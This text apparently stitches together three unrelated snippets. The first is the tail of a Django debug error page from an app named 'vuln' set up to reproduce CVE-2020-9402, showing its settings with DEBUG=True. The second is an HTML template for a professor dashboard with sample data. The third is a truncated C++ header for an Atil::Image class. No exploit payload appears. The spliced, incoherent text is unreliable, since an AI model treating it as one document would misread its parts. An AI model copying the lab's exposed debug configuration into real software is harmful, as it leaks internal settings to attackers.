encoding='utf-8'></pre></td> </tr> <tr> <td>wsgi.file_wrapper</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>wsgi.input</td> <td class="code"><pre><django.core.handlers.wsgi.LimitedStream object at 0x7eb69366d930></pre></td> </tr> <tr> <td>wsgi.multiprocess</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>wsgi.multithread</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>wsgi.run_once</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>wsgi.url_scheme</td> <td class="code"><pre>'http'</pre></td> </tr> <tr> <td>wsgi.version</td> <td class="code"><pre>(1, 0)</pre></td> </tr> </tbody> </table> <h3 id="settings-info">Settings</h3> <h4>Using settings module <code>vuln.settings</code></h4> <table class="req"> <thead> <tr> <th>Setting</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>ABSOLUTE_URL_OVERRIDES</td> <td class="code"><pre>{}</pre></td> </tr> <tr> <td>ADMINS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>ALLOWED_HOSTS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>APPEND_SLASH</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>AUTHENTICATION_BACKENDS</td> <td class="code"><pre>['django.contrib.auth.backends.ModelBackend']</pre></td> </tr> <tr> <td>AUTH_PASSWORD_VALIDATORS</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>AUTH_USER_MODEL</td> <td class="code"><pre>'auth.User'</pre></td> </tr> <tr> <td>BASE_DIR</td> <td class="code"><pre>'/root/django_cve_2020_9402'</pre></td> </tr> <tr> <td>CACHES</td> <td class="code"><pre>{'default': {'BACKEND': 'django.core.cache.backends.locmem.LocMemCache'}}</pre></td> </tr> <tr> <td>CACHE_MIDDLEWARE_ALIAS</td> <td class="code"><pre>'default'</pre></td> </tr> <tr> <td>CACHE_MIDDLEWARE_KEY_PREFIX</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>CACHE_MIDDLEWARE_SECONDS</td> <td class="code"><pre>600</pre></td> </tr> <tr> <td>CSRF_COOKIE_AGE</td> <td class="code"><pre>31449600</pre></td> </tr> <tr> <td>CSRF_COOKIE_DOMAIN</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>CSRF_COOKIE_HTTPONLY</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>CSRF_COOKIE_NAME</td> <td class="code"><pre>'csrftoken'</pre></td> </tr> <tr> <td>CSRF_COOKIE_PATH</td> <td class="code"><pre>'/'</pre></td> </tr> <tr> <td>CSRF_COOKIE_SAMESITE</td> <td class="code"><pre>'Lax'</pre></td> </tr> <tr> <td>CSRF_COOKIE_SECURE</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>CSRF_FAILURE_VIEW</td> <td class="code"><pre>'django.views.csrf.csrf_failure'</pre></td> </tr> <tr> <td>CSRF_HEADER_NAME</td> <td class="code"><pre>'HTTP_X_CSRFTOKEN'</pre></td> </tr> <tr> <td>CSRF_TRUSTED_ORIGINS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>CSRF_USE_SESSIONS</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>DATABASES</td> <td class="code"><pre>{'default': {'ATOMIC_REQUESTS': False, 'AUTOCOMMIT': True, 'CONN_MAX_AGE': 0, 'ENGINE': 'django.db.backends.sqlite3', 'HOST': '', 'NAME': '/root/django_cve_2020_9402/db.sqlite3', 'OPTIONS': {}, 'PASSWORD': '********************', 'PORT': '', 'TEST': {'CHARSET': None, 'COLLATION': None, 'MIRROR': None, 'NAME': None}, 'TIME_ZONE': None, 'USER': ''}}</pre></td> </tr> <tr> <td>DATABASE_ROUTERS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>DATA_UPLOAD_MAX_MEMORY_SIZE</td> <td class="code"><pre>2621440</pre></td> </tr> <tr> <td>DATA_UPLOAD_MAX_NUMBER_FIELDS</td> <td class="code"><pre>1000</pre></td> </tr> <tr> <td>DATETIME_FORMAT</td> <td class="code"><pre>'N j, Y, P'</pre></td> </tr> <tr> <td>DATETIME_INPUT_FORMATS</td> <td class="code"><pre>['%Y-%m-%d %H:%M:%S', '%Y-%m-%d %H:%M:%S.%f', '%Y-%m-%d %H:%M', '%Y-%m-%d', '%m/%d/%Y %H:%M:%S', '%m/%d/%Y %H:%M:%S.%f', '%m/%d/%Y %H:%M', '%m/%d/%Y', '%m/%d/%y %H:%M:%S', '%m/%d/%y %H:%M:%S.%f', '%m/%d/%y %H:%M', '%m/%d/%y']</pre></td> </tr> <tr> <td>DATE_FORMAT</td> <td class="code"><pre>'N j, Y'</pre></td> </tr> <tr> <td>DATE_INPUT_FORMATS</td> <td class="code"><pre>['%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y', '%b %d %Y', '%b %d, %Y', '%d %b %Y', '%d %b, %Y', '%B %d %Y', '%B %d, %Y', '%d %B %Y', '%d %B, %Y']</pre></td> </tr> <tr> <td>DEBUG</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>DEBUG_PROPAGATE_EXCEPTIONS</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>DECIMAL_SEPARATOR</td> <td class="code"><pre>'.'</pre></td> </tr> <tr> <td>DEFAULT_CHARSET</td> <td class="code"><pre>'utf-8'</pre></td> </tr> <tr> <td>DEFAULT_EXCEPTION_REPORTER_FILTER</td> <td class="code"><pre>'django.views.debug.SafeExceptionReporterFilter'</pre></td> </tr> <tr> <td>DEFAULT_FILE_STORAGE</td> <td class="code"><pre>'django.core.files.storage.FileSystemStorage'</pre></td> </tr> <tr> <td>DEFAULT_FROM_EMAIL</td> <td class="code"><pre>'webmaster@localhost'</pre></td> </tr> <tr> <td>DEFAULT_INDEX_TABLESPACE</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>DEFAULT_TABLESPACE</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>DISALLOWED_USER_AGENTS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>EMAIL_BACKEND</td> <td class="code"><pre>'django.core.mail.backends.smtp.EmailBackend'</pre></td> </tr> <tr> <td>EMAIL_HOST</td> <td class="code"><pre>'localhost'</pre></td> </tr> <tr> <td>EMAIL_HOST_PASSWORD</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>EMAIL_HOST_USER</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>EMAIL_PORT</td> <td class="code"><pre>25</pre></td> </tr> <tr> <td>EMAIL_SSL_CERTFILE</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>EMAIL_SSL_KEYFILE</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>EMAIL_SUBJECT_PREFIX</td> <td class="code"><pre>'[Django] '</pre></td> </tr> <tr> <td>EMAIL_TIMEOUT</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>EMAIL_USE_LOCALTIME</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>EMAIL_USE_SSL</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>EMAIL_USE_TLS</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>FILE_CHARSET</td> <td class="code"><pre>'utf-8'</pre></td> </tr> <tr> <td>FILE_UPLOAD_DIRECTORY_PERMISSIONS</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>FILE_UPLOAD_HANDLERS</td> <td class="code"><pre>['django.core.files.uploadhandler.MemoryFileUploadHandler', 'django.core.files.uploadhandler.TemporaryFileUploadHandler']</pre></td> </tr> <tr> <td>FILE_UPLOAD_MAX_MEMORY_SIZE</td> <td class="code"><pre>2621440</pre></td> </tr> <tr> <td>FILE_UPLOAD_PERMISSIONS</td> <td class="code"><pre>420</pre></td> </tr> <tr> <td>FILE_UPLOAD_TEMP_DIR</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>FIRST_DAY_OF_WEEK</td> <td class="code"><pre>0</pre></td> </tr> <tr> <td>FIXTURE_DIRS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>FORCE_SCRIPT_NAME</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>FORMAT_MODULE_PATH</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>FORM_RENDERER</td> <td class="code"><pre>'django.forms.renderers.DjangoTemplates'</pre></td> </tr> <tr> <td>IGNORABLE_404_URLS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>INSTALLED_APPS</td> <td class="code"><pre>['django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'app']</pre></td> </tr> <tr> <td>INTERNAL_IPS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>LANGUAGES</td> <td class="code"><pre>[('af', 'Afrikaans'), ('ar', 'Arabic'), ('ast', 'Asturian'), ('az', 'Azerbaijani'), ('bg', 'Bulgarian'), ('be', 'Belarusian'), ('bn', 'Bengali'), ('br', 'Breton'), ('bs', 'Bosnian'), ('ca', 'Catalan'), ('cs', 'Czech'), ('cy', 'Welsh'), ('da', 'Danish'), ('de', 'German'), ('dsb', 'Lower Sorbian'), ('el', 'Greek'), ('en', 'English'), ('en-au', 'Australian English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('es-ar', 'Argentinian Spanish'), ('es-co', 'Colombian Spanish'), ('es-mx', 'Mexican Spanish'), ('es-ni', 'Nicaraguan Spanish'), ('es-ve', 'Venezuelan Spanish'), ('et', 'Estonian'), ('eu', 'Basque'), ('fa', 'Persian'), ('fi', 'Finnish'), ('fr', 'French'), ('fy', 'Frisian'), ('ga', 'Irish'), ('gd', 'Scottish Gaelic'), ('gl', 'Galician'), ('he', 'Hebrew'), ('hi', 'Hindi'), ('hr', 'Croatian'), ('hsb', 'Upper Sorbian'), ('hu', 'Hungarian'), ('hy', 'Armenian'), ('ia', 'Interlingua'), ('id', 'Indonesian'), ('io', 'Ido'), ('is', 'Icelandic'), ('it', 'Italian'), ('ja', 'Japanese'), ('ka', 'Georgian'), ('kab', 'Kabyle'), ('kk', 'Kazakh'), ('km', 'Khmer'), ('kn', 'Kannada'), ('ko', 'Korean'), ('lb', 'Luxembourgish'), ('lt', 'Lithuanian'), ('lv', 'Latvian'), ('mk', 'Macedonian'), ('ml', 'Malayalam'), ('mn', 'Mongolian'), ('mr', 'Marathi'), ('my', 'Burmese'), ('nb', 'Norwegian Bokmål'), ('ne', 'Nepali'), ('nl', 'Dutch'), ('nn', 'Norwegian Nynorsk'), ('os', 'Ossetic'), ('pa', 'Punjabi'), ('pl', 'Polish'), ('pt', 'Portuguese'), ('pt-br', 'Brazilian Portuguese'), ('ro', 'Romanian'), ('ru', 'Russian'), ('sk', 'Slovak'), ('sl', 'Slovenian'), ('sq', 'Albanian'), ('sr', 'Serbian'), ('sr-latn', 'Serbian Latin'), ('sv', 'Swedish'), ('sw', 'Swahili'), ('ta', 'Tamil'), ('te', 'Telugu'), ('th', 'Thai'), ('tr', 'Turkish'), ('tt', 'Tatar'), ('udm', 'Udmurt'), ('uk', 'Ukrainian'), ('ur', 'Urdu'), ('uz', 'Uzbek'), ('vi', 'Vietnamese'), ('zh-hans', 'Simplified Chinese'), ('zh-hant', 'Traditional Chinese')]</pre></td> </tr> <tr> <td>LANGUAGES_BIDI</td> <td class="code"><pre>['he', 'ar', 'fa', 'ur']</pre></td> </tr> <tr> <td>LANGUAGE_CODE</td> <td class="code"><pre>'en-us'</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_AGE</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_DOMAIN</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_HTTPONLY</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_NAME</td> <td class="code"><pre>'django_language'</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_PATH</td> <td class="code"><pre>'/'</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_SAMESITE</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>LANGUAGE_COOKIE_SECURE</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>LOCALE_PATHS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>LOGGING</td> <td class="code"><pre>{}</pre></td> </tr> <tr> <td>LOGGING_CONFIG</td> <td class="code"><pre>'logging.config.dictConfig'</pre></td> </tr> <tr> <td>LOGIN_REDIRECT_URL</td> <td class="code"><pre>'/accounts/profile/'</pre></td> </tr> <tr> <td>LOGIN_URL</td> <td class="code"><pre>'/accounts/login/'</pre></td> </tr> <tr> <td>LOGOUT_REDIRECT_URL</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>MANAGERS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>MEDIA_ROOT</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>MEDIA_URL</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>MESSAGE_STORAGE</td> <td class="code"><pre>'django.contrib.messages.storage.fallback.FallbackStorage'</pre></td> </tr> <tr> <td>MIDDLEWARE</td> <td class="code"><pre>['django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware']</pre></td> </tr> <tr> <td>MIGRATION_MODULES</td> <td class="code"><pre>{}</pre></td> </tr> <tr> <td>MONTH_DAY_FORMAT</td> <td class="code"><pre>'F j'</pre></td> </tr> <tr> <td>NUMBER_GROUPING</td> <td class="code"><pre>0</pre></td> </tr> <tr> <td>PASSWORD_HASHERS</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>PASSWORD_RESET_TIMEOUT_DAYS</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>PREPEND_WWW</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>ROOT_URLCONF</td> <td class="code"><pre>'vuln.urls'</pre></td> </tr> <tr> <td>SECRET_KEY</td> <td class="code"><pre>'********************'</pre></td> </tr> <tr> <td>SECURE_BROWSER_XSS_FILTER</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SECURE_CONTENT_TYPE_NOSNIFF</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>SECURE_HSTS_INCLUDE_SUBDOMAINS</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SECURE_HSTS_PRELOAD</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SECURE_HSTS_SECONDS</td> <td class="code"><pre>0</pre></td> </tr> <tr> <td>SECURE_PROXY_SSL_HEADER</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>SECURE_REDIRECT_EXEMPT</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>SECURE_REFERRER_POLICY</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>SECURE_SSL_HOST</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>SECURE_SSL_REDIRECT</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SERVER_EMAIL</td> <td class="code"><pre>'root@localhost'</pre></td> </tr> <tr> <td>SESSION_CACHE_ALIAS</td> <td class="code"><pre>'default'</pre></td> </tr> <tr> <td>SESSION_COOKIE_AGE</td> <td class="code"><pre>1209600</pre></td> </tr> <tr> <td>SESSION_COOKIE_DOMAIN</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>SESSION_COOKIE_HTTPONLY</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>SESSION_COOKIE_NAME</td> <td class="code"><pre>'sessionid'</pre></td> </tr> <tr> <td>SESSION_COOKIE_PATH</td> <td class="code"><pre>'/'</pre></td> </tr> <tr> <td>SESSION_COOKIE_SAMESITE</td> <td class="code"><pre>'Lax'</pre></td> </tr> <tr> <td>SESSION_COOKIE_SECURE</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SESSION_ENGINE</td> <td class="code"><pre>'django.contrib.sessions.backends.db'</pre></td> </tr> <tr> <td>SESSION_EXPIRE_AT_BROWSER_CLOSE</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SESSION_FILE_PATH</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>SESSION_SAVE_EVERY_REQUEST</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>SESSION_SERIALIZER</td> <td class="code"><pre>'django.contrib.sessions.serializers.JSONSerializer'</pre></td> </tr> <tr> <td>SETTINGS_MODULE</td> <td class="code"><pre>'vuln.settings'</pre></td> </tr> <tr> <td>SHORT_DATETIME_FORMAT</td> <td class="code"><pre>'m/d/Y P'</pre></td> </tr> <tr> <td>SHORT_DATE_FORMAT</td> <td class="code"><pre>'m/d/Y'</pre></td> </tr> <tr> <td>SIGNING_BACKEND</td> <td class="code"><pre>'django.core.signing.TimestampSigner'</pre></td> </tr> <tr> <td>SILENCED_SYSTEM_CHECKS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>STATICFILES_DIRS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>STATICFILES_FINDERS</td> <td class="code"><pre>['django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder']</pre></td> </tr> <tr> <td>STATICFILES_STORAGE</td> <td class="code"><pre>'django.contrib.staticfiles.storage.StaticFilesStorage'</pre></td> </tr> <tr> <td>STATIC_ROOT</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>STATIC_URL</td> <td class="code"><pre>'/static/'</pre></td> </tr> <tr> <td>TEMPLATES</td> <td class="code"><pre>[{'APP_DIRS': True, 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'OPTIONS': {'context_processors': ['django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages']}}]</pre></td> </tr> <tr> <td>TEST_NON_SERIALIZED_APPS</td> <td class="code"><pre>[]</pre></td> </tr> <tr> <td>TEST_RUNNER</td> <td class="code"><pre>'django.test.runner.DiscoverRunner'</pre></td> </tr> <tr> <td>THOUSAND_SEPARATOR</td> <td class="code"><pre>','</pre></td> </tr> <tr> <td>TIME_FORMAT</td> <td class="code"><pre>'P'</pre></td> </tr> <tr> <td>TIME_INPUT_FORMATS</td> <td class="code"><pre>['%H:%M:%S', '%H:%M:%S.%f', '%H:%M']</pre></td> </tr> <tr> <td>TIME_ZONE</td> <td class="code"><pre>'UTC'</pre></td> </tr> <tr> <td>USE_I18N</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>USE_L10N</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>USE_THOUSAND_SEPARATOR</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>USE_TZ</td> <td class="code"><pre>True</pre></td> </tr> <tr> <td>USE_X_FORWARDED_HOST</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>USE_X_FORWARDED_PORT</td> <td class="code"><pre>False</pre></td> </tr> <tr> <td>WSGI_APPLICATION</td> <td class="code"><pre>'vuln.wsgi.application'</pre></td> </tr> <tr> <td>X_FRAME_OPTIONS</td> <td class="code"><pre>'DENY'</pre></td> </tr> <tr> <td>YEAR_MONTH_FORMAT</td> <td class="code"><pre>'F Y'</pre></td> </tr> </tbody> </table> </div> <div id="explanation"> <p> You're seeing this error because you have <code>DEBUG = True</code> in your Django settings file. Change that to <code>False</code>, and Django will display a standard page generated by the handler for this status code. </p> </div> </body> </html>
12-01
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>University Professor Dashboard</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; } body { background-color: #f5f7fa; padding: 20px; color: #333; } .dashboard-container { max-width: 1200px; margin: 0 auto; } .dashboard-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; padding-bottom: 15px; border-bottom: 1px solid #ddd; } .dashboard-title { font-size: 24px; font-weight: 600; color: #2c3e50; } .filters { display: flex; gap: 15px; } .filter-item { padding: 8px 12px; border: 1px solid #ddd; border-radius: 4px; background: white; cursor: pointer; } .dashboard-grid { display: grid; grid-template-columns: 1fr 1fr; grid-template-rows: auto auto; gap: 20px; } .dashboard-card { background: white; border-radius: 8px; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05); padding: 20px; display: flex; flex-direction: column; } .card-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid #eee; } .card-title { font-size: 18px; font-weight: 600; color: #2c3e50; } .card-more { color: #3498db; cursor: pointer; font-size: 14px; } .card-content { flex: 1; display: flex; flex-direction: column; gap: 15px; } .chart-container { height: 200px; background: #f8f9fa; border-radius: 4px; display: flex; align-items: center; justify-content: center; color: #7f8c8d; margin-bottom: 10px; } .data-table { width: 100%; border-collapse: collapse; } .data-table th, .data-table td { padding: 10px; text-align: left; border-bottom: 1px solid #eee; } .data-table th { font-weight: 600; color: #7f8c8d; font-size: 14px; } .status-indicator { display: inline-block; width: 10px; height: 10px; border-radius: 50%; margin-right: 5px; } .status-good { background-color: #2ecc71; } .status-warning { background-color: #f39c12; } .status-bad { background-color: #e74c3c; } .task-list { list-style-type: none; } .task-item { padding: 10px 0; border-bottom: 1px solid #eee; display: flex; align-items: center; } .task-item:last-child { border-bottom: none; } .task-checkbox { margin-right: 10px; } .task-text { flex: 1; } .task-date { color: #7f8c8d; font-size: 14px; } .calendar-view { display: grid; grid-template-columns: repeat(7, 1fr); gap: 5px; } .calendar-day { height: 30px; display: flex; align-items: center; justify-content: center; border-radius: 4px; font-size: 14px; } .calendar-day.header { font-weight: 600; color: #7f8c8d; background: none; } .calendar-day.event { background: #e3f2fd; color: #1976d2; } .calendar-day.today { background: #1976d2; color: white; } .gauge-container { display: flex; justify-content: space-around; margin: 15px 0; } .gauge { text-align: center; } .gauge-circle { width: 80px; height: 40px; border-radius: 80px 80px 0 0; background: #e0e0e0; position: relative; overflow: hidden; margin: 0 auto 10px; } .gauge-fill { position: absolute; bottom: 0; width: 100%; background: #3498db; transition: height 0.5s; } .gauge-label { font-size: 14px; color: #7f8c8d; } @media (max-width: 768px) { .dashboard-grid { grid-template-columns: 1fr; } } </style> </head> <body> <div class="dashboard-container"> <div class="dashboard-header"> <div class="dashboard-title">Professor Dashboard</div> <div class="filters"> <div class="filter-item">This Semester</div> <div class="filter-item">This Month</div> <div class="filter-item">This Week</div> </div> </div> <div class="dashboard-grid"> <!-- Teaching Module --> <div class="dashboard-card"> <div class="card-header"> <div class="card-title">Teaching</div> <div class="card-more">View Details</div> </div> <div class="card-content"> <div class="chart-container"> Average Grades by Course (Bar Chart) </div> <div class="gauge-container"> <div class="gauge"> <div class="gauge-circle"> <div class="gauge-fill" style="height: 75%"></div> </div> <div class="gauge-label">Student Satisfaction</div> </div> <div class="gauge"> <div class="gauge-circle"> <div class="gauge-fill" style="height: 60%"></div> </div> <div class="gauge-label">Course Completion</div> </div> </div> <div> <h4>This Week's Classes</h4> <table class="data-table"> <tr> <th>Course</th> <th>Date/Time</th> <th>Location</th> </tr> <tr> <td>CS 101</td> <td>Mon, 10:00 AM</td> <td>Room 302</td> </tr> <tr> <td>DS 205</td> <td>Wed, 2:00 PM</td> <td>Lab 115</td> </tr> <tr> <td>CS 301</td> <td>Fri, 11:00 AM</td> <td>Room 410</td> </tr> </table> </div> </div> </div> <!-- Research Module --> <div class="dashboard-card"> <div class="card-header"> <div class="card-title">Research</div> <div class="card-more">View Details</div> </div> <div class="card-content"> <div class="chart-container"> Project Progress (Pie Chart) </div> <div class="chart-container" style="height: 150px;"> Research Funding Usage (Bar Chart) </div> <div> <h4>Recent Publications</h4> <table class="data-table"> <tr> <th>Paper Title</th> <th>Journal/Conference</th> <th>Status</th> </tr> <tr> <td>AI in Education</td> <td>Journal of EdTech</td> <td><span class="status-indicator status-good"></span>Published</td> </tr> <tr> <td>Data Visualization Methods</td> <td>Viz Conference</td> <td><span class="status-indicator status-warning"></span>Under Review</td> </tr> <tr> <td>Learning Analytics</td> <td>LAK Conference</td> <td><span class="status-indicator status-bad"></span>Revisions Needed</td> </tr> </table> </div> </div> </div> <!-- Student Supervision Module --> <div class="dashboard-card"> <div class="card-header"> <div class="card-title">Student Supervision</div> <div class="card-more">View Details</div> </div> <div class="card-content"> <div> <h4>Graduate Student Progress</h4> <table class="data-table"> <tr> <th>Student</th> <th>Thesis Topic</th> <th>Progress</th> <th>Status</th> </tr> <tr> <td>Alex Johnson</td> <td>ML in Healthcare</td> <td>85%</td> <td><span class="status-indicator status-good"></span>On Track</td> </tr> <tr> <td>Sam Davis</td> <td>Data Privacy</td> <td>60%</td> <td><span class="status-indicator status-warning"></span>Needs Attention</td> </tr> <tr> <td>Taylor Kim</td> <td>EdTech Tools</td> <td>45%</td> <td><span class="status-indicator status-bad"></span>Behind Schedule</td> </tr> </table> </div> <div> <h4>Upcoming Meetings</h4> <table class="data-table"> <tr> <th>Student</th> <th>Date/Time</th> <th>Purpose</th> </tr> <tr> <td>Alex Johnson</td> <td>Oct 15, 2:00 PM</td> <td>Thesis Draft Review</td> </tr> <tr> <td>Sam Davis</td> <td>Oct 16, 10:00 AM</td> <td>Research Problems</td> </tr> </table> </div> </div> </div> <!-- Administrative Module --> <div class="dashboard-card"> <div class="card-header"> <div class="card-title">Administrative</div> <div class="card-more">View Details</div> </div> <div class="card-content"> <div> <h4>Tasks To Do</h4> <ul class="task-list"> <li class="task-item"> <input type="checkbox" class="task-checkbox"> <div class="task-text">Submit grades for CS 101</div> <div class="task-date">Oct 20</div> </li> <li class="task-item"> <input type="checkbox" class="task-checkbox"> <div class="task-text">Review department budget</div> <div class="task-date">Oct 22</div> </li> <li class="task-item"> <input type="checkbox" class="task-checkbox"> <div class="task-text">Prepare faculty meeting presentation</div> <div class="task-date">Oct 25</div> </li> <li class="task-item"> <input type="checkbox" class="task-checkbox"> <div class="task-text">Submit research grant proposal</div> <div class="task-date">Nov 1</div> </li> </ul> </div> <div> <h4>Upcoming Meetings & Events</h4> <div class="calendar-view"> <div class="calendar-day header">S</div> <div class="calendar-day header">M</div> <div class="calendar-day header">T</div> <div class="calendar-day header">W</div> <div class="calendar-day header">T</div> <div class="calendar-day header">F</div> <div class="calendar-day header">S</div> <div class="calendar-day">1</div> <div class="calendar-day">2</div> <div class="calendar-day">3</div> <div class="calendar-day">4</div> <div class="calendar-day">5</div> <div class="calendar-day">6</div> <div class="calendar-day">7</div> <div class="calendar-day">8</div> <div class="calendar-day">9</div> <div class="calendar-day">10</div> <div class="calendar-day">11</div> <div class="calendar-day event">12</div> <div class="calendar-day">13</div> <div class="calendar-day">14</div> <div class="calendar-day">15</div> <div class="calendar-day event">16</div> <div class="calendar-day">17</div> <div class="calendar-day today">18</div> <div class="calendar-day">19</div> <div class="calendar-day event">20</div> <div class="calendar-day">21</div> </div> </div> </div> </div> </div> </div> </body> </html>
10-24
class Image { public: friend class Internal; /// <summary> /// The empty or "NULL" constructor for an <c>Atil::Image</c>. /// </summary> /// /// <remarks> /// An instance of an image created through this constructor is intended only to facilitate /// the later assignment of a valid image. The instance created through this constructor has /// no internal data that can be returned. Attempting access any data from a "NULL" image will /// result in an exception. /// </remarks> Image (); /// <summary> /// The clone constructor of the Image class allows the construction of a new instance based /// on an existing instance. /// </summary> /// /// <param name= 'image'> /// A const reference to the image to be copied. /// </param> /// /// <exception cref="ImageConstructionException">Thrown when the image can /// not be cloned <see cref="ImageConstructionException"/>. /// </exception> /// /// <remarks> /// ATIL implements the Image class with a "letter - envelope" or "Bridge" /// design pattern. See "Design Patterns, ISBN 0-201-63361-2". /// </remarks> /// Image (const Image & image); /// <summary> /// The blank image constructor for an <c>Image</c>. /// </summary> /// /// <param name='size'>The size of the image to be created.</param> /// /// <param name='colorspace'>The DataModel of the image to be created.</param> /// /// <param name='initialColor'>The clear color of the image data.</param> /// /// <param name='sz'>The tile size to use for the image. /// The default, <c>DataModel::TileSize::kUnspecified</c> is recommended. /// </param> /// /// <exception cref="ImageConstructionException">An exception will be thrown /// if the image can not be constructed. <see cref="ImageConstructionException"/>. /// </exception> /// Image (const Size& size, const DataModel* colorspace, ImagePixel initialColor, DataModel::TileSize sz = DataModel::kUnspecified); /// <summary> /// The user supplied buffer constructor for <c>Atil::Image</c>. This method of construction /// will wrap a user supplied buffer with the Image object allowing ATIL and the using /// application mutual access to the image data. Images created in this way are not memory managed. /// </summary> /// /// <param name='pData'>A pointer to the buffer that the image should use for its image /// data storage. /// </param> /// /// <param name='nBytesInBuffer'>An integer that describes the number of bytes /// that have been allocated in the <c>pData</c> parameter. /// </param> /// /// <param name='nBytesPerRow'>An integer that describes the number of bytes in /// one row of the data. This sometimes referred to as the stride of the data. /// The number of bytes from the beginning of one row to the beginning of the next row. /// </param> /// /// <param name='size'>The horizontal and vertical dimensions of the image. /// The buffer in pData must be large enough to hold these dimensions. /// </param> /// /// <param name='pDm'>A constant pointer to a <c>DataModel</c> instance that /// represents the data that will be contained in the image. /// </param> /// /// <exception cref="ImageConstructionException">An exception will be thrown /// if the image can not be constructed. <see cref="ImageConstructionException"/>. /// </exception> /// Image (void* pData, int nBytesInBuffer, int nBytesPerRow, const Size& size, const DataModel* pDm); /// <summary> /// A <c>RowProviderInterface</c> based constructor for Image. /// </summary> /// /// <param name='pPipe'>A source of image data. /// </param> /// /// <param name='sz'>The tile size to be used for the image. /// </param> 